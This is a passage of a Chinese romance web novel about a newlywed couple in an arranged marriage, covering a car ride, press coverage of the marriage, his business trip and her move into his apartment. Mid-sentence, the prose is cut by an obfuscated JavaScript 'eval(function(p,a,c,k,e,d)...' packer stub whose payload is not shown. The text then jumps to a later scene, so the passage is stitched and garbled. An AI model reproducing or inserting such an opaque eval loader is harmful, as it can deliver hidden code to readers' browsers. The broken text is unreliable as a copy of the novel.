江济康和梁穆山稍后还有事，不跟他们同行。 车上除了司机，就只剩下他们两个人。 江伊嘉觉得自己该出戏了，拎着裙摆挪了挪，往离他更远的方向坐。 余光看到梁家逸精致立体的侧颜，手里还拿着那张婚书，她依然觉得不真实。 就这样，他们现在已经是合法夫妻了？ 此刻的梁家逸不知道她弯弯绕绕的小心思。 他也同样垂眸看了眼婚书，以及无名指上多出的象征他已婚身份的戒指。 梁家逸坐在她身侧，静默须臾后，略温和地问：“现在想去哪。” 江伊嘉彻底回过神，想起她下午还要去给应聘的设计师面试，时间还挺赶，要直接去工作室换衣服。 “去你公司附近就行。” 梁家逸顿了两秒，“我今天没有其他工作安排。” 空气又有那么一瞬的凝固。 意思是，时间都留给她了吗，那还真是有点不巧。 江伊嘉轻声开口：“…我有安排。” 她感到有点点抱歉，顺便补了句，“不好意思啊。” “……” 梁家逸转回头，目视前方，对驾驶位上的司机平声淡道：“李叔，先回公司。” 车子驶出，江伊嘉没说话，总觉得他们之间的气氛比领证前还要更古怪了。 身边这位跟她正常聊天都存在困难的男人，在名义上，她应该叫他一声“老公”。 江伊嘉代入了一下角色，清清嗓子，不太自然地关心道：“今天也累了，你先回去休息吧。” 窗外的景物飞速移动，空气里有他身上清冽的雪松味。 “嗯。” 梁家逸嗓音低沉道：“明早我要去沪市出差，大概一周之后回来。” 江伊嘉反应过来这是报备行程的意思，应了声“好”。 片刻，梁家逸又开口，平静地交代：“我回来之前，也可以先搬过去住。” “需要任何帮忙就联系杨子文，你上次见过，他的电话和门锁密码我发给你。” 未来一周江伊嘉也很忙，大概没时间搬家，而且跟吴思婕住一起，干什么都方便自在。 她想晚点再搬，恨不得越晚越好。 江伊嘉望了他一眼，抿抿唇，踌躇地说：“我一个人过去住着也没意思，晚上说不定还会害怕。还是等你回来之后，我再搬吧…” 因为心虚，她声音和语气都不自觉的有些软。 听在梁家逸耳中，像是在撒娇。 他偏头，再次看向她。 12.Chapter 12 梁家逸眼眸微动，静了须臾，徐徐说：“这次出差的行程已经往后推过两次，不好再拖。” 新婚期间，于情于理，他都不应该安排较为远途的出差。 万泰成立至今，除了房地产住宅开发，还涉足购物中心和酒店行业，在沪市已经周边省市的酒店数量不算多。 这次去沪市，是跟当地一家老派高端酒店的负责人谈收购条件，将其作为万泰旗下的子品牌。除了谈判，还要去实地考察各酒店的实际情况，所以时间也长。 江伊嘉也不知道他出差具体是去做什么，点点头，很官方地说：“那确实不能耽误。” 车里的空调温度适宜，她靠在皮质的座椅上，露在外面的肩背也不觉得冰。 梁家逸轻“嗯”一声，声音略低：“等我回来去接你。” 往后半个月，他或许可以考虑少安排些工作，作为补偿。 - 回到工作室，第二批面试进行得很顺利。 由于她们提高了薪水、假期等各方面的待遇，成功招到几个有丰富工作经验、过往履历能称得上优秀的设计师，并约好了签合同和正式入职的时间。 忙完这场招聘，江伊嘉神清气爽，坐在暂时还空旷无人的办公区，给自己开了瓶无糖汽水庆祝。 中午从登记处赶过来后，时间很紧张。 她只把礼服裙子换掉，穿着偏商务风格的外套和裤子，头发还是清早去做的盘发。 吴思婕整理完应聘者的简历，走过来：“今天应该没什么事了，你是不是要搬家去婚房。再怎么说，你俩今天刚登记完。新婚之夜，我霸着新娘不放好像有点缺德。” 江伊嘉笑了下，答非所问道：“我现在觉得，跟梁家逸联姻这个决定真是无比正确。” 吴思婕挑眉，伸手过去摸了摸她的额头。 “没发烧啊。” 她啧啧两声，调侃道：“这才刚结婚就真香了，没想到我们小公主坠入爱河的速度如此之快。” 江伊嘉白她一眼：“哪来的‘爱河’。” “他明早出差，而且一去就是一周，所以我还不用搬家，未来的一周我都是自由的。” 江伊嘉不由已经开始憧憬她美好的婚后生活了。 ——老公热爱赚钱，工作无比忙碌，不是在公司加班就是在外出差，连家都没时间回。 来了港岛，又能获得自由，她也算是不虚此婚了。 让江伊嘉没想到的是，结婚后的第二天早上，她就被手机里铺天盖地的消息震醒。 她昨晚通宵把张温雅要的修改稿改出来，正打算今天睡个懒觉，躺在床上迷迷糊糊看消息。 茶茶：【今天各大新闻软件全都被你和你老公刷屏，准备好了吗大明星？】 江伊嘉：？ 她皱了下眉头，迷茫地下拉了一下消息栏。 连新闻软件都没打开，给她推送的内容里，映入眼帘就是一条：「港岛豪门继承人梁家逸迎娶深城江盛集团千金，这场联姻或重塑商界布局！」 “……” 再看微信里的消息，也都是与此相关的。 深城的一堆小姐妹、在国外留学生联谊会上认识的朋友、初中同学，甚至不知什么时候加过联系方式的小学老师，都发来疑问或者祝福。 江伊嘉举着手机回复了不到三分之一，手都酸了。 中途打开微博，发现此时热搜前十条里有四条都是江家和梁家联姻的有关标题。 词条里还有她昨天被梁家逸揽着从登记处出来的照片。 江伊嘉放大仔细看了看。 还好她有准备，昨天收拾得还挺精致，那几家媒体发出来的照片应该也都是精修过的，一切正常。 再看评论区。 「什么神仙夫妻，男帅女美，有钱人的世界让人无法想象。」 「商业联姻啊，前段时间才看到江盛跟万泰合作的新闻。」 「嗑cp的小朋友都醒醒吧，利益绑定，人家俩也就是对着镜头做做样子。」 「江家这个千金长得比女明星都好看，为什么不出道？」 「回复楼上：听说过娱乐圈是有钱人的后花园吗？人家这种真正有钱的美女根本不屑出道好吗。」 …… 江伊嘉对这些网上对她突如其来的关注没什么感觉。 她毕竟也不是公众人物，知道这种没有经过特别运营炒作的新闻，估计等几天就会在公众的视野中淡去。 梁家逸昨天同意媒体来拍照，大概一方面是公开他们的婚姻关系，深层的目的大概是以此表示两家合作关系的稳固。 江家和梁家虽然在不同的城市，但财力和地位势均力敌，不存在谁攀附谁的情况。 江伊嘉打了个哈欠，听到外面吴思婕已经在早起准备出门了，她打算再睡个回笼觉。 刚闭上眼睛，手机又响起。 这次是电话。 江伊嘉的起床气都上来了，看到来电显示是个港岛的陌生号码，懒洋洋地接起。 “夫人好，我是梁总的助理杨子文。” “……” 对这种应该不会常联系的人，江伊嘉昨天从梁家逸那里收到了号码，但并没有存通讯录。 大清早的扰人清梦，她调整了一下情绪，尽量语气好些：“请问有什么事吗？” 杨子文在电话那边恭敬道：“梁总已经出发去沪市了，让我晚些联系问问夫人有没有什么需要帮忙的。” “哦…” 江伊嘉困倦地回了声“没有”。 杨子文又说了几句有事记得联系他、梁总近几天行程紧云云，她简单应付几句，挂断电话。 江伊嘉重新闭上眼，恍恍惚惚地在想，梁家逸进入角色倒挺快，昨天之前还是“非必要谢绝打扰”的状态，领过证之后，自己都去出差了，大早上没什么事还要让助理来问候一下。 但在梁家逸出差的这一周里，他本人倒是一次都没找过她。 不知是工作真的很忙，还是已经回归以往的生活状态，短暂忘了她这号人。 江伊嘉也不太在意到底是哪种，跟着茶茶去见了几个客户，在黄历上选了一个宜开业的日子，正式开启她的老板生涯。 - 快入冬，沪市的气候跟港岛不同，连绵几日的阴天，从早到晚断断续续飘着小雨，空气也是湿冷的。 晚上，梁家逸结束了跟收购方三个区域经理的应酬，回到万泰酒店的套房，脱掉大衣。 到了睡前，杨子文打来电话，例行汇报每天集团的情况。 “纪老今天来办公室找您，对他现在的职位安排不太满意，说是要等您回来之后再好好谈，但后来遇到梁董，被梁董直接请下楼了。” “市场部明天要开第三季度的总结会，早上九点开始，郑总监问您是否有空参加。” 梁家逸坐在茶几前，拿起笔记本电脑，淡声应道：“我没时间参加，结束后让他送一份会议过来。纪老的事不用管。” 杨子文又挑重点汇报了几件工作相关的事。 挂断电话前，梁家逸想起来问：“我太太那边呢，联系过了吗。” 杨子文顿了下说：“我今早又打了个电话问，夫人说她等您回去，让我没事的话不用再给她打电话。” 梁家逸“嗯”了声，“知道了。” 电话另一边的港岛，杨子文长舒了口气。 今早他给江伊嘉打电话的时候，她原话是，她也很忙，没什么紧急的事不用再给她打电话，其他不重要的事等梁总回来再说。 杨子文知道他家老板这一周的行程安排，确实是从早到晚都没空闲的。 万泰总裁办人多，老板生活相关的杂事一直主要由他负责，但在人家新婚夫妻之间当传话筒，他也实在有点摸不着边界。 ** 江伊嘉的工作室开业后，她要处理的事反而比以前更多。 虽然招到了员工，但按照之前和吴思婕两人的分工，每一个方案或者画稿都要她去把关。 从早到晚，她都没什么时间去做设计师的本职工作，坐在电脑前稍微有点灵感，马上就会被杂七杂八的事打断。 江伊嘉隐隐感觉，工作室人多了，但效率并没有变高。 她们开业前堆积的订单不少，现下也无暇去琢磨科学管理的问题，只能尽可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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司机从后备箱里拿出她的两个行李箱，他神色淡漠地接过拉杆，帮她推进电梯。 液晶屏上的数字在不断变化，江伊嘉也后知后觉有了那么点小紧张。 长这么大，她还是第一次跟一个男人单独住在一起。 而且这人如今还是她丈夫。 很快，电梯停下，梁家逸先一步出去，在门口输了密码。 玄关的灯自动亮起，迈进门的瞬间，江伊嘉闻到空气中淡淡的雪松香味，跟他身上的一模一样。 只是现在这种味道充斥了整个空间，她被包裹在其中，就好像入侵了他的私有领地，难免有些不自在。 不应该是空置的房子吗？ 梁家逸倾身，从鞋柜里拿了双新的女款拖鞋。 “可以先随便看看，可能会用到的物品都让人准备过。” 江伊嘉换了鞋，也没到处乱逛，只是在客厅望了一眼，发现这套公寓里明显的生活痕迹。 酒柜里的酒是满的，餐厅的岛台上咖啡机里还有咖啡豆，茶几上还放着一台笔记本电脑，旁边是叠放整齐的文件。 江伊嘉转头看向在身后的男人，疑惑地问：“你是早就搬进来住了吗？” 梁家逸顿了一秒，看着她，简短道：“我回国之后一直住在这。” “……” 当初婚房是江伊嘉自己挑的。 他发来的那一长列房产信息里，她开盲盒，居然就开中了他一直住的这套。 公寓大概三百余平，因为他正在住，里面各个房间都已经有对应的功能。 江伊嘉往里走，看到健身房、影音室、书房、洗衣房，甚至还有一间摆着钢琴的琴房。 除这些之外，卧室只有两间。 江伊嘉经过其中面积略小的客卧门口，看到里面三个柜子里摆满她提前送过来的毛绒玩偶。 一看就是阿姨收拾的，玩偶们在柜子里整齐地排排坐，还根据颜色和大小分好了类。 看来塑料老公已经安排好要跟她分房睡。 “我住这间吗？”江伊嘉试探着问。 梁家逸顺着她的目光朝客卧看了眼，陈述事实的平静语气，“只是把你的东西放在了这间。”